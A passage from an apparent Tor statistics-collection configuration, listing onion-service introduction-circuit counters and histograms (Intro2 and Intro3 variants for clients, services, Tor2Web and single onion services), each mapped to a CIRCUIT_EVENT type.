'Intro2Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3CircuitCount' : { CIRCUIT_EVENT },
'Intro3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3CircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3FailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
